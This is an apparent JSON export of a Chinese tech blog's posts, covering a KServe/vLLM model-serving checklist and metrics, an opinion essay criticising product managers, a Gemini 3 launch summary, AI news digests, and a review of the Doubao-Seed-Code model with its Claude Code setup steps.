\u0026#34;model\u0026#34;: \u0026#34;qwen\u0026#34;, 5 \u0026#34;messages\u0026#34;: [ 6 {\u0026#34;role\u0026#34;: \u0026#34;system\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;You are a helpful assistant.\u0026#34;}, 7 {\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;你好，介绍一下你自己。\u0026#34;} 8 ], 9 \u0026#34;max_tokens\u0026#34;: 100 10 }\u0026#39; vLLM 流程的关键 Checklist\nClusterServingRuntime: 你的集群里如果没有 kserve-vllm 定义，第一步就会报错，必须先加这个 CRD。 Timeouts: LLM 动辄 20GB+，下载 + 加载显存需要很久。一定要在 annotations 里设置 progressDeadline 为 20m 或更长，否则 Knative 会以为部署失败并回滚。 Arguments: 必须通过 args 显式指定 \u0026ndash;model=/mnt/models，因为这是 KServe storageUri 下载的目标路径。 Resources: 显存和内存给够，否则 vLLM 会报 OOM（Out Of Memory）并 CrashLoopBackOff。 这套流程结合 ArgoCD 后，以后更新 LLM 版本（比如从 Qwen2 换到 Qwen2.5），你只需要：\n上传新模型到 S3 的新目录。 修改 Git 里的 storageUri。 ArgoCD 自动同步，Knative 会等待新 Pod 里的 vLLM 完全加载好权重后，才切断旧 Pod 的流量。 七、如何衡量平台是否成功？ 一个优秀的模型服务平台，其核心指标应该覆盖 性能、成本、稳定性 几个维度。\n维度一：性能与延迟 (Performance \u0026amp; Latency) - “我们的服务快不快？” 端到端延迟 (End-to-End Latency) - P95 / P99 是什么？ 从业务应用发出 API 请求，到收到完整响应的总时间。 为什么重要？ 这是衡量用户体验的黄金标准。我们通常关注 P95（95% 的请求都快于此值）和 P99，因为平均值会掩盖那些最慢的、最影响用户的请求。 如何衡量？ 从 Istio Gateway 或 Prometheus 中间件获取。 首 Token 时间 (Time to First Token - TTFT) - (LLM 专属) 是什么？ 对于生成式模型，从发出请求到收到第一个有意义的 token 所需的时间。 为什么重要？ 这是衡量 LLM 服务 “感知响应速度” 的最关键指标。一个低 TTFT 的模型会让用户感觉 “反应很快”，即使生成全文总时间较长。 如何衡量？ 需要在客户端或 Transformer 中进行定制化测量 每输出 Token 时间 (Time Per Output Token - TPOT) - (LLM 专属) 是什么？ 生成每个后续 token 的平均时间。它是 (总时间 - TTFT) / (总 token 数 - 1)。 为什么重要？ 这是衡量 LLM “生成速度” 的核心指标。一个低的 TPOT 意味着模型的 “吐字” 速度很快，用户体验流畅。 如何衡量？ 客户端或 Transformer 中计算。 吞吐量 (Throughput) 是什么？ 单位时间内平台能成功处理的请求数。通常用 RPS (Requests Per Second) 或 QPS (Queries Per Second) 表示。 对于 LLM，一个更有意义的指标可能是 输出 Tokens/秒 (Output Tokens/Second)，因为它综合了并发处理能力和生成速度。 为什么重要？ 这是衡量平台容量和处理能力的上限。 维度二：成本与效率 (Cost \u0026amp; Efficiency) - “我们的钱花得值不值？” GPU 利用率 (GPU Utilization - Compute) 是什么？ GPU 计算核心在单位时间内的繁忙程度百分比。 为什么重要？ 这是衡量 “GPU 是否在干活” 的首要指标。一个持续低于 20% 的利用率可能意味着巨大的资源浪费。 如何衡量？ 通过 NVIDIA DCGM Exporter 在 Prometheus 中采集。 GPU 显存利用率 (GPU Memory Utilization) 是什么？ GPU 显存被占用的百分比。 为什么重要？ 很多模型（尤其是 LLM）可能计算量不大，但会占用海量显存。高显存占用会限制单卡能部署的模型数量。这是成本优化的另一个关键。 如何衡量？ 通过 NVIDIA DCGM Exporter 采集。 闲置实例数 / 缩容至零频率 (Scale-to-Zero Metrics) 是什么？ 平台上有多少模型服务实例处于 0 副本状态，以及它们进入和退出 0 副本状态的频率。 为什么重要？ 直接体现了 KServe + Knative Serverless 架构带来的成本节省效果。 如何衡量？ 从 Knative 的监控指标中获取。 冷启动延迟 (Cold Start Latency) 是什么？ 当一个服务从 0 副本状态接收到第一个请求时，从开始拉起 Pod 到成功响应请求的总时间。 为什么重要？ 这是 Serverless 模式为了节省成本而付出的性能代价。你需要监控并优化它，确保它在可接受的范围内。 如何衡量？ 结合 Knative 指标和应用日志进行分析。 维度三：稳定性与可用性 (Stability \u0026amp; Availability)- “我们的服务稳不稳？” 服务可用性 (Availability) 是什么？ 在规定时间内，服务能够正常响应的请求比例。通常目标是 99.9% 或 99.99%。 为什么重要？ 这是衡量服务可靠性的最终标准。 如何衡量？ (成功请求数 / 总请求数) * 100%。 错误率 (Error Rate) 是什么？ 返回 5xx（服务器错误）状态码的请求比例。 为什么重要？ 错误率的飙升是服务出现严重问题的最直接信号。需要设置告警。 如何衡量？ 从 Istio Gateway 或 Prometheus 中间件获取。 Pod 重启次数 (Pod Restart Count) 是什么？ 模型服务 Pod 的重启次数。 为什么重要？ 频繁的重启（特别是 CrashLoopBackOff 状态）表明代码存在 Bug、内存溢出（OOM Killed）或配置错误。 如何衡量？ 从 Kubernetes API 直接获取。 短期看，最重要的指标有这几个：\n端到端延迟 (End-to-End Latency) 首 Token 时间 (Time to First Token - TTFT) 吞吐量 (Throughput) GPU 利用率 服务可用性 长期看其实还要加上模型效果指标，量化 “准确率” 与 “生成质量”。\n","date":"2025-11-30T04:11:10Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-11-30-ai-mo-xing-tui-li-ping-tai-jia-gou-she-ji-yu-shi-jian/cover.jpg","permalink":"/p/2025-11-30-ai-mo-xing-tui-li-ping-tai-jia-gou-she-ji-yu-shi-jian/","title":"AI 模型推理平台架构设计与实践"},{"content":"在这个行业摸爬滚打十几年，我写过代码，带过团队，做过技术总监。我见过凌晨四点的写字楼，也见过因为一个严重的 Bug 全员通宵的焦灼。\n作为一名技术出身的管理者，我不仅看代码，也看人，更看 “人效” 和 “投入产出比”。在我经历的这些年里，有一个观察越来越清晰，甚至到了让我感到痛心和惋惜的地步：\n在今天的互联网科技公司里，产品经理（PM）是水分最大、门槛最低、最容易 “混” 的岗位，没有之一。\n虽然标题说 “十个里面有八个”，这听起来像是在引战，但如果你真的在研发一线待过，真的从老板的角度算过账，你会发现，这个比例甚至可能还保守了。一、 门槛的消失：是个 “人” 就能做产品？\n我们先看研发。一个程序员，无论多能忽悠，代码跑不通就是跑不通，Bug 修不好就是修不好。这是硬技能，是护城河。 我们再看设计。图画得丑，配色像屎，一眼就能看出来。 我们看运营。甚至是你认为工资远低于 PM 的运营，他们背着 KPI，背着日活、转化率，数据不好看，老板马上就会问责。\n唯独产品经理，成了 “三无地带” 的避难所。\n不懂技术？没关系。不懂设计？没关系。不懂数据？也没关系。只要你 “有想法”，“喜欢体验 APP”，“逻辑还行”，甚至只是 “能说会道”，就能在这个岗位上谋得一席之地。\n于是，大量的 “混子” 涌入了这个行业。他们没有硬技能的抓手，唯一的工具就是嘴和 PPT。他们把 “沟通能力” 当成了遮羞布，把 “协调资源” 当成了核心竞争力。\n二、 伪工作时长：昂贵的 “传声筒” 我最反感的一类产品经理，我称之为 “人形转发器”。\n在很多公司，PM 的工作流是这样的：\n老板随口提了个需求，PM 记下来。\nPM 也不过脑子，不思考可行性，不思考 ROI（投资回报率），直接把老板的话翻译成原型图。\n拿着原型图找 UI 画图，找研发排期。\n研发问：“这个逻辑有点问题，这里数据怎么流转？” PM 答：“哎呀，先这么做，老板要的急。”\n上线后，没人用。PM 两手一摊：“这是老板的需求，或者是运营没推好。”\n这中间，PM 产生了什么价值？零。\n如果不设这个岗位，老板直接找 Tech Lead（技术组长）聊十分钟，可能方案更靠谱，落地更快。但公司却为此支付了高昂的薪水。很多时候，技术团队累死累活加班，就是为了陪这群没想清楚逻辑的 PM “试错”。\n这种 “试错” 成本，全部转嫁给了研发的头发和公司的现金流。\n三、 性价比的崩塌：高薪低能的怪圈 这正是我作为觉得最吊诡的地方：资源错配。\n在薪资体系里，产品经理往往对标研发，远高于运营。但从落地的角度看，一个优秀的运营能实实在在拉来流量，变现真金白银；一个优秀的程序员能构建稳定的系统，支撑业务跑得飞快。\n而那些 “混子” 产品经理呢？\n平时压力小： 需求文档写得漏洞百出，被研发怼了就改，改完了还觉得自己是 “敏捷迭代”。\n不用背锅： 项目延期怪研发，数据不好怪运营，体验不好怪 UI。\n地位虚高： 张口闭口 “我是产品的 CEO”，实际上连个 SQL 都不会写，连基本的 API 接口原理都不懂，却在指挥一群专家干活。\n这导致了一种极不公平的职场生态：真正干活的人在底层搬砖，由于 “不会来事儿” 而被边缘化；而那些没有硬技能的 PM，靠着向上管理、做 PPT、开会甩锅，反而混得风生水起。\n四、 为什么老板总被骗？ 很多老板，尤其是非技术出身的老板，特别容易被这类 PM 忽悠。\n为什么？因为老板是孤独的，老板有 “愿景”。而 “混子” PM 最擅长的就是画饼。他们不懂落地的艰难，所以他们敢承诺；他们不懂技术的边界，所以他们敢吹嘘。\n他们用满口的 “用户体验”、“底层逻辑”、“生态闭环”、“赛道风口” 这些大词，构建了一个虚幻的泡沫。老板听得心花怒放，觉得 “这人懂我”。\n等到项目烂尾，资金烧光，老板才反应过来，但那个 PM 早就跳槽去下一家公司，薪资还涨了 30%，继续忽悠下一个老板。\n五、 别让 “混子” 毁了这个职业 我并不是在全盘否定产品经理这个岗位。任何事物存在即合理，但我反对的是 “劣币驱逐良币”。\n那剩下的 “20%” 是什么样的？ 我见过真正优秀的产品经理，他们令我敬佩。他们懂技术边界，能直接看数据库分析问题；他们极度理智，在需求评审前就已经枪毙了 80% 不靠谱的想法；他们不仅对老板负责，更对研发的每一行代码负责。\n好的产品经理，是团队的润滑剂和方向盘；而混子产品经理，是团队的绊脚石和下水道。\n如果你是老板，请擦亮眼睛，多听听你的 CTO 和运营主管对 PM 的评价，别只看 PPT； 如果你是研发，请继续磨练你的硬技能，那是你安身立命的根本，不要被那些泡沫乱了心智； 如果你是那 “八个” 中的一员，我想说：互联网的红利期已经结束了，潮水退去，裸泳的人终将无处遁形。请去做点实事，或者，请离开这个行业，别再浪费社会资源了。\n","date":"2025-11-29T02:45:02Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-11-29-shi-ge-chan-pin-jing-li-ba-ge-shi-hun-zi/cover.jpg","permalink":"/p/2025-11-29-shi-ge-chan-pin-jing-li-ba-ge-shi-hun-zi/","title":"十个产品经理八个是混子"},{"content":"","date":"2025-11-20T03:38:06Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-11-20-gemini-shang-le-xin-gong-neng-yi-hou-zhong-xin-hua-de-wiki-k/cover.jpg","permalink":"/p/2025-11-20-gemini-shang-le-xin-gong-neng-yi-hou-zhong-xin-hua-de-wiki-k/","title":"Gemini 上了新功能，以后中心化的 wiki 可能真的要消失了"},{"content":" Gemini应用每月用户超过6.5亿，超过70%的云服务客户在使用我们的人工智能，1300万开发者基于我们的生成式模型进行了开发，而这仅仅是我们所看到的影响的一小部分。 \u0026ndash; Google CEO Sundar Pichai\n每一代 Gemini 都在以往的基础上不断发展，让你能够做更多事情。\n●Gemini 1 在原生多模态和长上下文窗口方面的突破，拓展了可处理信息的种类以及数量。\n●Gemini 2为智能体能力奠定了基础，并在推理与思考方面突破了前沿，助力完成更复杂的任务和构想，使 Gemini 2.5 Pro在LMArena上占据榜首超过六个月。\n今天 ，Google 终于憋出了大招，正式发布了 Gemini 3 系列。Google 这次明显是想通过 “Agentic（代理化）” 和 “Generative UI（生成式 UI）” 这两张牌，彻底改变我们开发和使用 AI 的方式。\n一、核心模型：不再只是 “陪聊”，而是 “干活” 的 这次发布的重头戏有两个模型版本：\n1.Gemini 3 Pro\n○定位： 这是新的主力模型，Google 称之为 “最智能的模型”。\n○最大亮点 ——“Vibe Coding”：你不需要写精确的 prompt 或者伪代码，只需要用自然语言描述你想要的 “感觉（vibe）” 或功能，它就能生成全栈应用。比如 “做一个复古风格的太空射击游戏，障碍物要随着合成波音乐跳动”，它能直接给你生成带 UI 和交互的成品。\n○能力提升： 推理能力大幅增强，官方数据说在 LMArena 上 Elo 分数飙到了 1501（目前榜首）。\n○适用场景： 日常高频任务、代码生成、多模态理解（视频/图像/音频）。\n2.Gemini 3 Deep Think\n○定位： 专门用来 “死磕” 难题的推理模型，仅面向 Google AI Ultra 订阅用户。\n○对标对象： 显然是 OpenAI 的 o1 / o3 系列。\n○恐怖的数据： 在 Humanity\u0026rsquo;s Last Exam（人类终极考试）这个测试集上，Gemini 3 Pro 得分 37.5%，而 Deep Think 版本能干到 41.0%（作为对比，上一代 Gemini 2.5 Pro 只有 21.6%）。这意味着在数学、科学研究等需要深度思考的领域，它的可靠性会有质的飞跃。\n二、 AI IDE ：Google Antigravity (反重力) Google 推出了一个全新的 Agentic IDE，叫 Google Antigravity\n●这是什么？ 别把它想成 VS Code 的插件。这是一个独立的 IDE，专门为 “AI 代理开发” 设计的。\n●核心逻辑变了： 以前我们是用 Copilot 写代码（AI 辅助你），现在你是 “架构师”，你定义任务，Antigravity 里的 Agents（代理）去执行。\n●它能干嘛？\n○全自主干活： 代理可以在编辑器写代码、在终端跑命令、在浏览器里预览调试，三者打通。\n○Artifacts（产物）： 代理不仅仅是吐代码，还会生成任务清单、实施计划、甚至截图，让你像验收工作一样去 Check 它的产出。\n○模型任选： 这一点很良心，除了 Gemini 3，它居然支持 Anthropic 的 Claude Sonnet 4.5 和 OpenAI 的 GPT - OSS。Google 这次格局打开了，意思是 “用最好的工具解决问题”。\n这玩意儿就是冲着 Cursor 来的，而且试图在 “自主性” 上更进一步。建议大家赶紧去下个 Preview 版试试，特别是 Mac/Windows/Linux 都支持。\n三、 用户体验革命：Generative UI (生成式 UI) Google 认为：“最好的 UI 是不需要设计的，是生成的。”\nGoogle 认为，AI 的回答不应该只是一堆文字。Gemini 3 引入了 Generative UI（生成式用户界面）\n●动态生成组件： 当用户问 “帮我规划去罗马的旅行” 时，它不再只是列个文字清单，而是可能会直接生成一个 “交互式的行程卡片”，或者当你问房贷时，直接生成一个 “房贷计算器组件”。\n●底层技术： 依靠 Gemini 3 强大的代码生成能力，即时生成前端代码并在客户端渲染。\n●Dynamic View： 在 Gemini App 里，这被称为 “Dynamic View”。它能根据你的意图，现场 “手搓” 一个最适合当前场景的 UI 界面给你。\n未来的 AI 应用，界面可能不再是写死的，而是 “流式生成” 的。\n四、 实战与性能 (Benchmarks) 如果不看跑分就不是科技圈了。简单列几个吓人的数据：\n●LMArena Elo: 1501 (目前世界第一)。\n●MathArena Apex: 23.4% (这是个新出的超难数学竞赛基准，其他模型基本是个位数，Claude 4.5 是 1.6%，GPT-5.1 是 1.0%\u0026hellip; Gemini 3 这个分数有点断层领先的意思)。\n●SWE-bench Verified (代码能力): 76.2%。虽然比 Claude 的 77.2% 略低一点点，但在 Antigravity 环境下的综合表现（Agentic coding）可能会更强。\n●多模态: 视频理解 (Video-MMMU) 达到了 87.6%，以后扔给它一段长视频让它总结或者找细节，应该会非常准。\n五、 生态整合（这才是 Google 恐怖的地方） Google 把 Gemini 3 塞进了所有角落：\n●Search: 搜索里加了 “AI Mode”，而且支持 “Thinking” 开关。以后搜复杂问题（比如做攻略、查论文），搜索体验会完全不同。\n●Android Studio: 安卓开发的同事注意了，Gemini 3 已经进驻，不仅是补全代码，还能帮你写 UI、查 Bug。\n●Gemini CLI: 对于运维和后端同事，新的 CLI 允许你在终端里直接用自然语言让 Gemini 3 帮你执行复杂的 Shell 命令组合，甚至排查云端服务的 Log。\n●Firebase: 推出了 \u0026ldquo;Firebase AI Logic\u0026rdquo;，后端逻辑也能由 AI 驱动了。\n六、 总结与建议 Gemini 3 无疑是一次 “能力的平权”\nGemini 3 不仅仅是 “更快更强”，它在尝试定义 AI 的下一阶段：\n1.从 Chat 到 Agent: 不再是 “一问一答”，而是 “通过代理解决多步骤复杂任务”。\n2.从 Text 到 UI: 输出形式从文本扩展到了动态界面。\n给产研内部的建议：\n●开发同学： 务必尝试 Google Antigravity 和 Gemini CLI。如果它真能像宣传那样自主改 Bug、重构代码，我们的开发效率可能会有质变。\n●产品同学： 关注 Generative UI 的交互模式。我们的 AI 产品是否也可以不仅仅吐文字，而是根据用户需求动态生成交互组件？\n●模型同学： 重点关注 Deep Think 的推理模式，看看 Google 是如何通过增加推理时间（Test-time compute）来换取高质量输出的。\n目前 Gemini 3 Pro 已经在 Gemini App 和 AI Studio 里能用了，Deep Think 还要等几周。大家可以先去玩玩 Pro 版的 “Vibe Coding”\n","date":"2025-11-19T13:22:13Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-11-19-gemini-3-jie-shao/cover.jpg","permalink":"/p/2025-11-19-gemini-3-jie-shao/","title":"Gemini 3 介绍"},{"content":"【产品 / 功能发布】\n将导游装在口袋里：AI 对景区游览新赋能 介绍同程旅行开发的AI导览产品，通过高精度定位和大语言模型打造的沉浸式智能导游服务 将导游装在口袋里：AI 对景区游览新赋能\n你急它不急：GPT-5先判断，再决定「速答」还是「深想」 文章详细介绍了GPT-5的新能力Controlled Deliberation，能够根据问题复杂度自主决定思考时间和深度，展示了从o1到GPT-5的技术演进历程 你急它不急：GPT-5先判断，再决定「速答」还是「深想」\n【开源项目与工具】 今日开源（2025-11-17）：中科院与美团联合开源VinciCoder，以视觉强化学习攻克视觉保真度痛点，统一多模态代码生成 汇总介绍六个最新开源AI项目，包括中科院与美团联合开源的VinciCoder多模态代码生成项目等今日开源（2025-11-17）：中科院与美团联合开源VinciCoder，以视觉强化学习攻克视觉保真度痛点，统一多模态代码生成 【论文 / 研究】 李飞飞最新思考：语言模型救不了机器人 李飞飞分享了从ImageNet到空间智能的AI发展思考，强调语言模型之外的世界模型和空间理解对机器人等领域的关键作用李飞飞最新思考：语言模型救不了机器人\n什么？！你跟我说LLM的最后几层都没啥用？探索LLM层深到底有啥用！ 对比分析三篇研究LLM层深度效用的论文，从不同角度探讨了LLM各层功能及其效率问题什么？！你跟我说LLM的最后几层都没啥用？探索LLM层深到底有啥用！\n从0到1开发一个Agent（智能体）框架 从零开始系统地介绍了如何构建一个名为HelloAgents的智能体框架，包括核心组件设计、多种Agent实现和工具系统构建从0到1开发一个Agent（智能体）框架\nVinciCoder：多模态统一代码生成框架和视觉反馈强化学习，数据代码模型权重已开源 论文介绍了VinciCoder框架，通过大规模SFT和视觉强化学习解决多模态代码生成的保真度问题，并在多基准上取得SOTA表现VinciCoder：多模态统一代码生成框架和视觉反馈强化学习，数据代码模型权重已开源\n解决特斯拉「监督稀疏」难题，DriveVLA-W0用世界模型放大自动驾驶Data Scaling Law 论文介绍DriveVLA-W0如何通过世界模型解决自动驾驶中VLA大模型的监督稀疏问题，使模型能更充分利用数据规模效应解决特斯拉「监督稀疏」难题，DriveVLA-W0用世界模型放大自动驾驶Data Scaling Law\n【评测与基准】 谁能硬刚ChatGPT？千问给出了最接近的答案 分析千问模型在模型能力和产品体验方面接近ChatGPT，介绍其在复杂问题理解、推理能力和表达能力上的优势谁能硬刚ChatGPT？千问给出了最接近的答案\n横扫硅谷的千问，杀回国内了 详细分析了阿里的千问模型及APP的技术实力、产品体验和生态优势，并通过多维度对比证明其已达到与ChatGPT同等水平横扫硅谷的千问，杀回国内了\n","date":"2025-11-18T06:27:23Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-11-18-jin-ri-ai-qing-bao/cover.jpg","permalink":"/p/2025-11-18-jin-ri-ai-qing-bao/","title":"今日 AI 情报"},{"content":" “\n测评人： 小盒子（AI 架构仔，Agentic 编程方向，常年被 API 账单搞到头大） 测评时间： 2025 年 11 月 11 日发布后的一周\n这波价格战，字节是真不想给同行活路了\n说实话，我当时 凌晨 1:47 在公司改那个傻 X 的 Kubernetes 配置。看到新闻推送，火山引擎出了个 豆包编程模型 Doubao-Seed-Code，说性能 SOTA，但这不是重点。\n重点是价格。它宣称 综合成本能比业界平均水平低 62.7%，直接是 国内最低价。我当时正在用 cc 搭配 k2，心想：都说最低价，质量怎么样呢？k2 测完了其实还是不如原装的 claude，所以 doubao-seed-code 如果真是质量高价格低的话，多一个选择也是蛮不错的。\n以前我们跑一次复杂的 Agentic 任务，特别是涉及多轮 Bug 修复和重构的，Claude Sonnet 4.5 那个账单，每个月看一次疼一次。\n我看官方资料里明晃晃地写着，做一个交互式英语学习网站，用 Doubao-Seed-Code 只需要 0.34 元左右，用 Claude Sonnet 4.5 可是要大概 4 块多。 这差距，可以的～\n它这个 API 定价，输入 1.20 元/百万 Tokens，输出 8.00 元/百万 Tokens（0-32K 区间），配合那个 Cache 技术，还能再降 80% 的成本。我们现在正在做 Agent 自动化项目，以前成本受限，很多地方要做工程优化，要这样的话，感觉忽然就 经济可行 了。\n我立马摸鱼时试了下，冲了它那个 9.9 块首月 的 Coding Plan。一杯咖啡钱，买一个号称 SWE-Bench Verified 榜单上 SOTA 的模型（这个榜单是测 Agent 端到端解决问题的能力，很硬核的）。\n兼容 Claude Code 感觉最近这都成了编程模型的标配了哈。\n作为 Claude Code 用户，感觉接入不是很丝滑的。Doubao-Seed-Code 原生兼容 Anthropic API ，接入方法还是老套路，很简单：\n第一种方式 如果是短期测试，可以直接在终端中配置环境变量，在启动 Claude Code 前输入环境变量\n1export ANTHROPIC_BASE_URL=https://ark.cn-beijing.volces.com/api/compatible 2export ANTHROPIC_AUTH_TOKEN=\u0026lt;ARK-API-KEY\u0026gt; 3export ANTHROPIC_MODEL=doubao-seed-code-preview-latest 第二种方式 如果是长期使用，可以直接配置文件\n1open -e ~/.claude/settings.json 2 3{ 4 \u0026#34;api_key\u0026#34;: \u0026#34;xxxxxxx\u0026#34;, 5 \u0026#34;api_url\u0026#34;: \u0026#34;https://ark.cn-beijing.volces.com/api/compatible\u0026#34;, 6 \u0026#34;model\u0026#34;: \u0026#34;doubao-seed-code-preview-latest\u0026#34; 7} 说句提外话，最近这几家搞 code 模型的，就是明着抢 Claude 的客户，但我支持，哈哈。\n切换零成本 + 价格低 60%+ 性能 SOTA 确实有点儿心动。\n核心能力体验 “\n长上下文和那个 VLM 才是真杀手锏\n光便宜和兼容没用，代码写得烂，那也是浪费我时间。\n看了一下上下文，256K，还成，跟 K2 一样，感觉现在没个 256K 都不好拿出手。\n虽然 Claude 4.5 Sonnet 的上下文声称是 1M，但实际上只有 200K，而且还死贵。 256 好，还多 56K，哈哈\n别小看多出来的这点儿。我手头有个遗留项目，Python 写的，几百个文件，那叫一个乱。模型处理 Bug，有时候上下文 Token 一爆，它就变瞎子了，你得手动 RAG 喂它代码，有时候就差那么一两个文件，逼得我重开个 thread，前面都白费劲了。\nDoubao-Seed-Code 多出来的这 56K，意味着它能把 整个中等规模的项目结构和依赖 都装进 “脑子” 里\n刚才我让它解决一个跨越十几个文件的逻辑 Bug，以前的模型得来回拉扯五六轮，这次它 一步到位 定位到了问题。而且它不只是修复 Bug，它还会 优化结构，提升代码的可读性和维护性。这才是 Agent 编程，不过客观地讲跟最贵的那位比还是有一定的差距。\nVLM：前端仔的末日… 还是福音？ 这个视觉理解（VLM）能力， 国内首发。\n这个功能并不新鲜，但国内首发，算是跟上了。我现在可以直接把 UI 稿截图，或者 手绘草稿 扔给它。然后它能给你生成对应的代码。\n我一开始以为它就是搞了个图转文字，再让 LLM 去生成代码，这种方法信息折损很大。结果 它这个是原生的 VLM 能力，不是靠工具调用。最牛逼的是，它能 自己完成样式修复和 Bug 修复。它生成一个页面，然后拿截图跟你原始的设计稿对比，发现哪里边距不对，哪里颜色溢出了，自己动手改\n我当时试了一个复杂的 Dashboard 界面，只给了一张截图，它生成的 React + Tailwind 代码还原度还是非常高的。前端兄弟估计已经麻木了，据我所知，他们自己也在用 vibe coding 干活，哈哈。\n聊聊技术底裤 Doubao-Seed-Code 的核心是 Seed-Coder 家族，能 SOTA，说明字节在训练上砸了不少黑科技\n官方资料里提了一堆很唬人的词儿, 小盒子来翻译翻译：\n“大规模 Agent 强化学习训练系统” ：他们好像是搞了一套巨大的 打怪升级系统，专门用来训练代码 Agent。模型不是靠背书（预训练数据）学编程的，它是直接在 沙盒里 跑代码\n构建了覆盖 10 万容器镜像的训练数据集”：为了让模型见过各种稀奇古怪的运行环境（比如 Python 3.7 + PyTorch 1.9 + CUDA 10.2），他们准备了 10 万个容器\n“万级并发沙盒 session”：几万个容器同时跑。让模型在里面不断试错，错了就 罚站（接收执行反馈）。这样练出来的 Agent，解决问题的鲁棒性才强\n这套机制直接解释了为什么它能在 SWE-Bench Verified 这种需要端到端解决问题的测试里登顶。它不是一个静态的知识库，它是个会 思考、会动手、会自我修正 的开发伙伴\n顺便提一句，这个 Seed-Coder 还有开源版本。开源的 Seed-Coder-8B-Reasoning 有 64K 上下文，虽然不如商业 API 的 256K 那么猛，但对于个人研究也够用了。\n测试 这里我做了一个测试，目的是看它能不能真的理解 “Vibe Coding”（用户描述一个抽象的、高层的需求，让 Agent 去实现），特别是设计稿的还原和自我纠错能力\n找一个 UI 稿截图，越复杂越好。\n最终生成的效果如下：\n总结 无论最后你是否使用 doubao-seed-code 模型作为你的生产工具，我都推荐你试试，包括 k2 等其他模型，无它，AI 进化的速度很快，先上车！\n单纯就 doubao-seed-code 来说，我觉得也还可以：\n价格摆在那儿，跑 100 次 Agentic 任务的成本，以前可能只能跑 30 次。 VLM 是未来：前端开发效率的飞跃。 256K 上下文：真正能处理企业级复杂重构任务的基础。 Doubao-Seed-Code 这波操作，是想把 AI 编程从 “昂贵的工具” 变成 “水、电、煤” 一样基础设施 。对于追求极致效率和成本控制的团队，值得一试。\n","date":"2025-11-17T12:58:03Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-11-17-3-mao-qian-gan-da-shi-yong-le-ji-tian-dou-bao-bian-cheng-mo-/cover.jpg","permalink":"/p/2025-11-17-3-mao-qian-gan-da-shi-yong-le-ji-tian-dou-bao-bian-cheng-mo/","title":"3 毛钱干大事？ 用了几天豆包编程模型，我来扒一扒字节这波操作"},{"content":"1. Kimi K2-Thinking这样用，才是真爽｜附我的一手实测\n文章全面介绍并实测了Moonshot AI开源的K2-Thinking模型，展示了其搜索、推理、编程的综合能力及各种应用案例Kimi K2-Thinking这样用，才是真爽｜附我的一手实测\n2.卫星上天、模型入轨，太空成为AI算力的新战场，中国领跑\n介绍太空算力成为AI基础设施新战场，中国国星宇航已实现全球首个太空计算星座的部署和商业化应用卫星上天、模型入轨，太空成为AI算力的新战场，中国领跑\n3.当谈论FP8训练的时候，我们到底在聊什么?\n文章详细介绍了FP8训练的三种主要实现方案及其在计算加速、存储优化和通信加速方面的技术细节当谈论FP8训练的时候，我们到底在聊什么?\n4.Python只是前戏，JVM才是正餐！Eclipse开源新方案，在K8s上不换栈搞定Agent\n介绍Eclipse基金会推出的代理定义语言ADL和LMOS平台，旨在让企业利用熟悉的JVM技术栈而非Python构建AI代理，实现云原生环境下的智能体开发和部署Python只是前戏，JVM才是正餐！Eclipse开源新方案，在K8s上不换栈搞定Agent\n5.宇树王兴兴回应硕士论文爆火；Nano Banana 2、GPT-5.1系列齐泄露？字节豆包PC端负责人齐俊元离职 | AI周报\n整理了近期AI行业热点包括模型泄露事件、杭州AI企业对话、人形机器人进展、大厂人事变动等各类新闻宇树王兴兴回应硕士论文爆火；Nano Banana 2、GPT-5.1系列齐泄露？字节豆包PC端负责人齐俊元离职 | AI周报\n6.英伟达、DeepSeek集体跟进！18个月前被忽视，如今统治AI推理\n文章详细介绍了由加州大学圣地亚哥分校提出的解耦推理架构如何从实验室概念成长为行业标准，以及该技术在大模型推理领域的应用与发展趋势\n英伟达、DeepSeek集体跟进！18个月前被忽视，如今统治AI推理\n","date":"2025-11-10T09:25:33Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-11-10-jin-ri-ai-qing-bao-2025-11-10/cover.jpg","permalink":"/p/2025-11-10-jin-ri-ai-qing-bao-2025-11-10/","title":"今日 AI 情报（2025-11-10）"},{"content":"题图：伊丽莎白女王工程奖获奖的 AI 界群星\n打败GPT5的Kimi K2 Thinking，真就只会写代码吗？ 通过多种场景测试评估Kimi K2 Thinking的表现，包括编程、3D模拟、创意写作、复杂推理和架构对比分析\n打败GPT5的Kimi K2 Thinking，真就只会写代码吗？2. Artificial Analysis评测新鲜出炉：Kimi K2 thinking位居世界第二，开源第一\nArtificial Analysis评测显示Kimi K2 Thinking模型在智能体任务中表现突出，以67分位居世界第二、开源第一，但存在生成冗长和延迟问题\nArtificial Analysis评测新鲜出炉：Kimi K2 thinking位居世界第二，开源第一\n解析！大模型中的ScalingLaw的概念、推导以及反ScalingLaw的场景 全面详细介绍大模型ScalingLaw的概念、数学推导、实际应用场景及反ScalingLaw现象，为大模型训练提供理论指导\n解析！大模型中的ScalingLaw的概念、推导以及反ScalingLaw的场景\nLLM首次达到人类语言专家水平！OpenAI o1拿下拆解句法、识别歧义、推理音律 研究表明OpenAI o1模型在处理语言递归结构、识别句法歧义和音韵推理等方面表现出接近人类语言学专家的能力\nLLM首次达到人类语言专家水平！OpenAI o1拿下拆解句法、识别歧义、推理音律\nSimKO：缓解RLVR训练中的概率过度集中，优化pass@K性能 介绍SimKO算法如何通过非对称梯度调节解决RLVR训练中的概率过度集中问题，优化大语言模型在数学推理任务上的pass@K性能\nSimKO：缓解RLVR训练中的概率过度集中，优化pass@K性能\n6.4万star的开源智能体框架全面重构！OpenHands重大升级，叫板OpenAI和谷歌 详细介绍了OpenHands V1智能体框架的架构重构，包括四项设计原则和技术特性，以及与OpenAI和Google产品的比较和性能评估\n6.4万star的开源智能体框架全面重构！OpenHands重大升级，叫板OpenAI和谷歌\nBuilding the First Agentic Government with Ukraine 介绍ElevenLabs与乌克兰政府合作建设首个代理型政府的伙伴关系，将AI应用于公共服务\nhttps://elevenlabs.io/blog/building-the-first-agentic-government-with-ukraine\nICCV涌现自动驾驶新范式：统一世界模型VLA，用训练闭环迈向L4 